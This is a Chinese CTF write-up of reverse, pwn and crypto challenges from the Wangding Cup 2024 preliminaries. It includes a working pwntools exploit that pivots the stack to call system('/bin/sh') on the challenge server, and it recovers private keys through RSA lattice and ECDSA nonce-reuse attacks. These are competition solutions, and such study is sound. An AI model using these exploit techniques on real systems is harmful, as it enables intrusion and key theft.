网鼎杯2024青龙组初赛部分wp

Re

four

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
int __fastcall main(int argc, const char **argv, const char **envp)
{
char v4[16]; // [rsp+0h] [rbp-240h] BYREF
char v5[48]; // [rsp+10h] [rbp-230h] BYREF
char v6[256]; // [rsp+40h] [rbp-200h] BYREF
char v7[16]; // [rsp+140h] [rbp-100h] BYREF
__int64 v8[2]; // [rsp+150h] [rbp-F0h] BYREF
__int64 v9[2]; // [rsp+160h] [rbp-E0h] BYREF
char v10[16]; // [rsp+170h] [rbp-D0h] BYREF
char v11[16]; // [rsp+180h] [rbp-C0h] BYREF
char v12[16]; // [rsp+190h] [rbp-B0h] BYREF
char s2[16]; // [rsp+1A0h] [rbp-A0h] BYREF
char s1[16]; // [rsp+1B0h] [rbp-90h] BYREF
char dest[16]; // [rsp+1C0h] [rbp-80h] BYREF
__int64 v16; // [rsp+1D0h] [rbp-70h] BYREF
_BYTE v17[24]; // [rsp+1D8h] [rbp-68h] BYREF
char s[7]; // [rsp+1F0h] [rbp-50h] BYREF
_BYTE v19[41]; // [rsp+1F7h] [rbp-49h] BYREF
char *v20; // [rsp+220h] [rbp-20h]
const char *v21; // [rsp+228h] [rbp-18h]
int k; // [rsp+234h] [rbp-Ch]
int j; // [rsp+238h] [rbp-8h]
int i; // [rsp+23Ch] [rbp-4h]

printf("Enter the flag:");
if ( fgets(s, 41, stdin) )
s[strcspn(s, "\n")] = 0;
if ( strlen(s) != 40 || strncmp(s, "wdflag{", 7uLL) || v19[32] != 125 )
return 1;
memcpy(dest, v19, 0x20uLL);
v17[8] = 0;
s2[0] = 114;
s2[1] = 0xCA;
s2[2] = 112;
s2[3] = 106;
s2[4] = 106;
s2[5] = -60;
s2[6] = -62;
s2[7] = -54;
for ( i = 0; i <= 7; ++i )
s1[i] = 2 * dest[i];
if ( memcmp(s1, s2, 8uLL) )
return 1;
v21 = "XorrLord";
qmemcpy(v11, "`\tK", 3);
v11[3] = 19;
v11[4] = 45;
v11[5] = 14;
v11[6] = 20;
v11[7] = 1;
for ( j = 8; j <= 15; ++j )
v12[j - 8] = dest[j] ^ v21[j - 8];
if ( memcmp(v12, v11, 8uLL) )
return 1;
base64_encode(&v16, 8LL, v10);
v20 = "QYGyBYKyA2K";
if ( strcmp(v10, "QYGyBYKyA2K") )
return 1;
qmemcpy(v9, "AesMasterAesMast", sizeof(v9));
v8[0] = 0LL;
v8[1] = 0LL;
memcpy(v8, v17, 8uLL);
for ( k = 8; k <= 15; ++k )
*((_BYTE *)v8 + k) = 8;
AES_set_encrypt_key(v9, 128LL, v6);
AES_encrypt(v8, v7, v6);
hex_to_string(v7, 16LL, v5);
v4[0] = -67;
v4[1] = -11;
v4[2] = 89;
v4[3] = -122;
v4[4] = 57;
v4[5] = 68;
v4[6] = 52;
v4[7] = 96;
v4[8] = -120;
v4[9] = -15;
v4[10] = 109;
v4[11] = -60;
v4[12] = 25;
v4[13] = -33;
v4[14] = -125;
v4[15] = 6;
if ( memcmp(v7, v4, 0x10uLL) )
return 1;
puts("Correct Flag!");
return 0;
}

程序逻辑明确,3为base64,4为aes

1
2
3
4
5
6
7
8
9
10
a=[114,0xca,112,106,106,0xc4,0xc2,0xca]
for i in range(len(a)):
a[i]//=2
print(chr(a[i]),end="")
a1=[0x60,9,0x4b,19,45,14,20,1]
s2="XorrLord"
for i in range(len(a1)):
print(chr(a1[i]^ord(s2[i])),end="")
print('9a2eb2cb',end="")
print('d8823519')

easystd-1

看对象a和b

check1在native层

so的部分有点复杂

findcrypt没找到算法特征,看上去有点像aes魔改,其实大概率不可能,因为这样的话不可能一百多解

询问ai可能是什么算法

32轮循环里面都有异或7,后面发现是为了得到sm4标准的s盒,fk数组,还是对sm4不够熟悉

后半部分key还要倒着来,看汇编更加明确

qword_3018点进去发现值不一样,可能是未显示完全

Pwn

short

泄露栈地址的栈迁移

login之后有sytem和/bin/sh,直接打

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
from struct import pack
from ctypes import *


filename='./short'
elf = ELF("./short")
context(arch=elf.arch,os="linux",log_level="debug")
#libc = ELF("./libc.so.6")

debug = 1
if debug:
io = remote('0192d5eb59fe7e5c885169079e095fa7.p436.dg04.ciihw.cn',46946)
else:
io = process(filename)

def s(a) : io.send(a)
def sa(a, b) : io.sendafter(a, b)
def sl(a) : io.sendline(a)
def sla(a, b) : io.sendlineafter(a, b)
def r() : return io.recv()
def pr() : print(io.recv())
def ru(a) : return io.recvuntil(a)
def inter() : io.interactive()

def get_addr():
return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
#return u32(io.recv()[0:4])

leave_ret=0x8048674
bin_sh=0x804A038
system=elf.plt['system']
sla("Enter your username: ",b"admin")
sla("Enter your password: ",b"admin123")
ru("You will input this: ")
s=int(io.recv(10),16)
print("stack:",hex(s))
payload=b'a'*4+p32(system)+b'a'*4+p32(bin_sh)
payload=payload.ljust(80,b'\x00')
payload+=p32(s)+p32(leave_ret)
sla("plz input your msg:\n",payload)
inter()

Crypto

crypto1

找到原题2023江苏省领航杯 | DexterJie’Blog

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
import time

time.clock = time.time

debug = True

strict = False

helpful_only = True
dimension_min = 7 # 如果晶格达到该尺寸,则停止移除


# 显示有用矢量的统计数据
def helpful_vectors(BB, modulus):
nothelpful = 0
for ii in range(BB.dimensions()[0]):
if BB[ii, ii] >= modulus:
nothelpful += 1

print(nothelpful, "/", BB.dimensions()[0], " vectors are not helpful")


# 显示带有 0 和 X 的矩阵
def matrix_overview(BB, bound):
for ii in range(BB.dimensions()[0]):
a = ('%02d ' % ii)
for jj in range(BB.dimensions()[1]):
a += '0' if BB[ii, jj] == 0 else 'X'
if BB.dimensions()[0] < 60:
a += ' '
if BB[ii, ii] >= bound:
a += '~'
# print (a)


# 尝试删除无用的向量
# 从当前 = n-1(最后一个向量)开始
def remove_unhelpful(BB, monomials, bound, current):
# 我们从当前 = n-1(最后一个向量)开始
if current == -1 or BB.dimensions()[0] <= dimension_min:
return BB

# 开始从后面检查
for ii in range(current, -1, -1):
# 如果它没有用
if BB[ii, ii] >= bound:
affected_vectors = 0
affected_vector_index = 0
# 让我们检查它是否影响其他向量
for jj in range(ii + 1, BB.dimensions()[0]):
# 如果另一个向量受到影响:
# 我们增加计数
if BB[jj, ii] != 0:
affected_vectors += 1
affected_vector_index = jj

# 等级:0
# 如果没有其他载体最终受到影响
# 我们删除它
if affected_vectors == 0:
# print ("* removing unhelpful vector", ii)
BB = BB.delete_columns([ii])
BB = BB.delete_rows([ii])
monomials.pop(ii)
BB = remove_unhelpful(BB, monomials, bound, ii - 1)
return BB

# 等级:1
# 如果只有一个受到影响,我们会检查
# 如果它正在影响别的向量
elif affected_vectors == 1:
affected_deeper = True
for kk in range(affected_vector_index + 1, BB.dimensions()[0]):
# 如果它影响哪怕一个向量
# 我们放弃这个
if BB[kk, affected_vector_index] != 0:
affected_deeper = False
# 如果没有其他向量受到影响,则将其删除,并且
# 这个有用的向量不够有用
# 与我们无用的相比
if affected_deeper and abs(bound - BB[affected_vector_index, affected_vector_index]) < abs(
bound - BB[ii, ii]):
# print ("* removing unhelpful vectors", ii, "and", affected_vector_index)
BB = BB.delete_columns([affected_vector_index, ii])
BB = BB.delete_rows([affected_vector_index, ii])
monomials.pop(affected_vector_index)
monomials.pop(ii)
BB = remove_unhelpful(BB, monomials, bound, ii - 1)
return BB
# nothing happened
return BB


"""
Returns:
* 0,0 if it fails
* -1,-1 如果 "strict=true",并且行列式不受约束
* x0,y0 the solutions of `pol`
"""


def boneh_durfee(pol, modulus, mm, tt, XX, YY):
"""
Boneh and Durfee revisited by Herrmann and May

在以下情况下找到解决方案:
* d < N^delta
* |x|< e^delta
* |y|< e^0.5
每当 delta < 1 - sqrt(2)/2 ~ 0.292
"""

# substitution (Herrman and May)
PR.< u, x, y >= PolynomialRing(ZZ) # 多项式环
Q = PR.quotient(x * y + 1 - u) # u = xy + 1
polZ = Q(pol).lift()

UU = XX * YY + 1

# x-移位
gg = []
for kk in range(mm + 1):
for ii in range(mm - kk + 1):
xshift = x ^ ii * modulus ^ (mm - kk) * polZ(u, x, y) ^ kk
gg.append(xshift)
gg.sort()

# 单项式 x 移位列表
monomials = []
for polynomial in gg:
for monomial in polynomial.monomials(): # 对于多项式中的单项式。单项式():
if monomial not in monomials: # 如果单项不在单项中
monomials.append(monomial)
monomials.sort()

# y-移位
for jj in range(1, tt + 1):
for kk in range(floor(mm / tt) * jj, mm + 1):
yshift = y ^ jj * polZ(u, x, y) ^ kk * modulus ^ (mm - kk)
yshift = Q(yshift).lift()
gg.append(yshift) # substitution

# 单项式 y 移位列表
for jj in range(1, tt + 1):
for kk in range(floor(mm / tt) * jj, mm + 1):
monomials.append(u ^ kk * y ^ jj)

# 构造格 B
nn = len(monomials)
BB = Matrix(ZZ, nn)
for ii in range(nn):
BB[ii, 0] = gg[ii](0, 0, 0)
for jj in range(1, ii + 1):
if monomials[jj] in gg[ii].monomials():
BB[ii, jj] = gg[ii].monomial_coefficient(monomials[jj]) * monomials[jj](UU, XX, YY)

# 约化格的原型
if helpful_only:
# #自动删除
BB = remove_unhelpful(BB, monomials, modulus ^ mm, nn - 1)
# 重置维度
nn = BB.dimensions()[0]
if nn == 0:
print("failure")
return 0, 0

# 检查向量是否有帮助
if debug:
helpful_vectors(BB, modulus ^ mm)

# 检查行列式是否正确界定
det = BB.det()
bound = modulus ^ (mm * nn)
if det >= bound:
print("We do not have det < bound. Solutions might not be found.")
print("Try with highers m and t.")
if debug:
diff = (log(det) - log(bound)) / log(2)
print("size det(L) - size e^(m*n) = ", floor(diff))
if strict:
return -1, -1
else:
print("det(L) < e^(m*n) (good! If a solution exists < N^delta, it will be found)")

# display the lattice basis
if debug:
matrix_overview(BB, modulus ^ mm)

# LLL
if debug:
print("optimizing basis of the lattice via LLL, this can take a long time")

# BB = BB.BKZ(block_size=25)
BB = BB.LLL()

if debug:
print("LLL is done!")

# 替换向量 i 和 j ->多项式 1 和 2
if debug:
print("在格中寻找线性无关向量")
found_polynomials = False

for pol1_idx in range(nn - 1):
for pol2_idx in range(pol1_idx + 1, nn):

# 对于i and j, 构造两个多项式

PR.< w, z >= PolynomialRing(ZZ)
pol1 = pol2 = 0
for jj in range(nn):
pol1 += monomials[jj](w * z + 1, w, z) * BB[pol1_idx, jj] / monomials[jj](UU, XX, YY)
pol2 += monomials[jj](w * z + 1, w, z) * BB[pol2_idx, jj] / monomials[jj](UU, XX, YY)

# 结果
PR.< q >= PolynomialRing(ZZ)
rr = pol1.resultant(pol2)

if rr.is_zero() or rr.monomials() == [1]:
continue
else:
print("found them, using vectors", pol1_idx, "and", pol2_idx)
found_polynomials = True
break
if found_polynomials:
break

if not found_polynomials:
print("no independant vectors could be found. This should very rarely happen...")
return 0, 0

rr = rr(q, q)

# solutions
soly = rr.roots()

if len(soly) == 0:
print("Your prediction (delta) is too small")
return 0, 0

soly = soly[0][0]
ss = pol1(q, soly)
solx = ss.roots()[0][0]
return solx, soly


def example():
############################################
# 随机生成数据
##########################################
# start_time =time.perf_counter
start = time.clock()
size = 512
length_N = 2 * size;
ss = 0
s = 70;
M = 1 # the number of experiments
delta = 299 / 1024
# p = random_prime(2^512,2^511)
for i in range(M):
# p = random_prime(2^size,None,2^(size-1))
# q = random_prime(2^size,None,2^(size-1))
# if(p<q):
# temp=p
# p=q
# q=temp
N =107892573713246099817538936816485851035053538530228178586297516104462355899705036416845549988000543254717342505493461294554541098637839010844819316344397595836466293908827352240852019945855020602201742694540642287347823025883131162483705106324646432257707195307227627208850506071985510840207212074649893852289
e =106026779355993573435326995058838659695563314723896436315704944869047461810171317853485834578907922477225219563648678852066399786593146779733369104463848604460901829459576565561299893410357693816050012889075185831684944657633027210516389798278082334754603104594287285628025433146548664548308055805258965566543
c =74801258971353592087655273561994005413765184821038662179717923534370360999501931581907306714940348903440446458261785275314423770475637996343903355116249112854972152857616186571871846360852766323423533588570164035716759526288174656142706806500076294386681134096440267098094279442917447969106043371238327287569

hint1 = 895381917907042032873 # p高位
hint2 = 934258518638868635029 # q高位
# print ("p真实高",s,"比特:", int(p/2^(512-s)))
# print ("q真实高",s,"比特:", int(q/2^(512-s)))

# N = p*q;

# 解密指数d的指数( 最大0.292)

m = 7 # 格大小(越大越好/越慢)
t = round(((1 - 2 * delta) * m)) # 来自 Herrmann 和 May 的优化
X = floor(N ^ delta) #
Y = floor(N ^ (1 / 2) / 2 ^ s) # 如果 p、 q 大小相同,则正确
for l in range(int(hint1), int(hint1) + 1):
print('\n\n\n l=', l)
pM = l;
p0 = pM * 2 ^ (size - s) + 2 ^ (size - s) - 1;
q0 = N / p0;
qM = int(q0 / 2 ^ (size - s))
A = N + 1 - pM * 2 ^ (size - s) - qM * 2 ^ (size - s);
# A = N+1
P.< x, y >= PolynomialRing(ZZ)
pol = 1 + x * (A + y) # 构建的方程

# Checking bounds
# if debug:
# print ("=== 核对数据 ===")
# print ("* delta:", delta)
# print ("* delta < 0.292", delta < 0.292)
# print ("* size of e:", ceil(log(e)/log(2))) # e的bit数
# print ("* size of N:", len(bin(N))) # N的bit数
# print ("* size of N:", ceil(log(N)/log(2))) # N的bit数
# print ("* m:", m, ", t:", t)

# boneh_durfee
if debug:
##print ("=== running algorithm ===")
start_time = time.time()

solx, soly = boneh_durfee(pol, e, m, t, X, Y)

if solx > 0:
# print ("=== solution found ===")
if False:
print("x:", solx)
print("y:", soly)

d_sol = int(pol(solx, soly) / e)
ss = ss + 1

print("=== solution found ===")
print("p的高比特为:", l)
print("q的高比特为:", qM)
print("d=", d_sol)

if debug:
print("=== %s seconds ===" % (time.time() - start_time))
# break
print("ss=", ss)
# end=time.process_time
end = time.clock()
print('Running time: %s Seconds' % (end - start))


if __name__ == "__main__":
example()

跑出d后直接解密

1
2
3
4
5
6
7
8
9
10
11
from Crypto.Util.number import *

n = 107892573713246099817538936816485851035053538530228178586297516104462355899705036416845549988000543254717342505493461294554541098637839010844819316344397595836466293908827352240852019945855020602201742694540642287347823025883131162483705106324646432257707195307227627208850506071985510840207212074649893852289
d = 686044856631363471654750621230244587429581968036750428251137157884014229839209884769622191
c = 74801258971353592087655273561994005413765184821038662179717923534370360999501931581907306714940348903440446458261785275314423770475637996343903355116249112854972152857616186571871846360852766323423533588570164035716759526288174656142706806500076294386681134096440267098094279442917447969106043371238327287569


m = pow(c,d,n)
print(long_to_bytes(m))

#b'wdflag{146f65bb-fc74-4b1e-b02b-13099e18b46b}'

crypto2

维吉尼亚+aes_cbc,aes密钥是ESDAS私钥dA的sha256

询问ai解aes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from Crypto.Util.number import long_to_bytes
from gmpy2 import invert
import binascii
from hashlib import sha256
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from gmpy2 import invert

# 已知参数
r1 = 80932673752923845218731053671144903633094494351596082125742241568755353762809
r2 = 80932673752923845218731053671144903633094494351596082125742241568755353762809
s1 = 11239004842544045364097722042148768449026688243093666008376082303522447245154
s2 = 97301123368608673469588981075767011435222146576812290449372049839046298462487
z1 = 84483328065344511722319723339101492661376118616972408250436525496870397932079
z2 = 114907157406602520059145833917511615616817014350278499032611638874752053304591
n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
# 计算 k
num = (z1 * r2 - z2 * r1) % n
denom = (s1 * r2 - s2 * r1) % n

# 求逆并计算 k
if denom != 0:
k = (num * invert(denom, n)) % n
print("Calculated k:", k)
else:
print("Denominator is zero; cannot calculate k.")
# k = 66385432128793118118895060820925676692032302325334993911655704199910748028498 # 需要计算或已知的 k


# 计算 dA
dA = (invert(r1, n) * (s1 * k - z1)) % n
print("Calculated dA:", dA)

# 生成 AES 密钥
key = sha256(long_to_bytes(dA)).digest()

# 提取加密标志
encrypted_flag_hex = "d8851c55edec1114a6d7a4d6d5efbba4611a39216ec146d2e675194dd0d5f768bee1b09799a133ffda1d283c4f6db475834cbe52c38c88736c94795c137490be"
encrypted_flag_bytes = binascii.unhexlify(encrypted_flag_hex)

# 提取 IV 和密文
iv = encrypted_flag_bytes[:16]
ciphertext = encrypted_flag_bytes[16:]

# AES 解密
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted_flag = unpad(cipher.decrypt(ciphertext), AES.block_size).decode()

print("Decrypted flag:", decrypted_flag)

把明文改成密文

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def victory_decrypt(ciphertext, key):

key = key.upper()
key_length = len(key)
decrypted_text = ''

for i, char in enumerate(ciphertext):
if char.isalpha():
shift = ord(key[i % key_length]) - ord('A')
decrypted_char = chr((ord(char) - ord('A') - shift + 26) % 26 + ord('A'))
decrypted_text += decrypted_char
else:
decrypted_text += char

return decrypted_text

# 示例用法
victory_key = "WANGDINGCUP"
victory_encrypted_flag = "SDSRDO{27Z8ZEPLGJ040UQX2Q0GLOG70PZ0484L}" # 替换为您的密文
decrypted_flag = victory_decrypt(victory_encrypted_flag, victory_key)

print("Decrypted flag:", decrypted_flag)

#WDFLAG{27F8DECFDB040ABB2D0DDBA70AD0484D}

最后把大写字母改写成小写

在线解密好像不对


网鼎杯2024青龙组初赛部分wp
https://j1ya-22.github.io/2024/10/30/网鼎杯2024青龙组初赛部分wp/
作者
j1ya
发布于
2024年10月30日
许可协议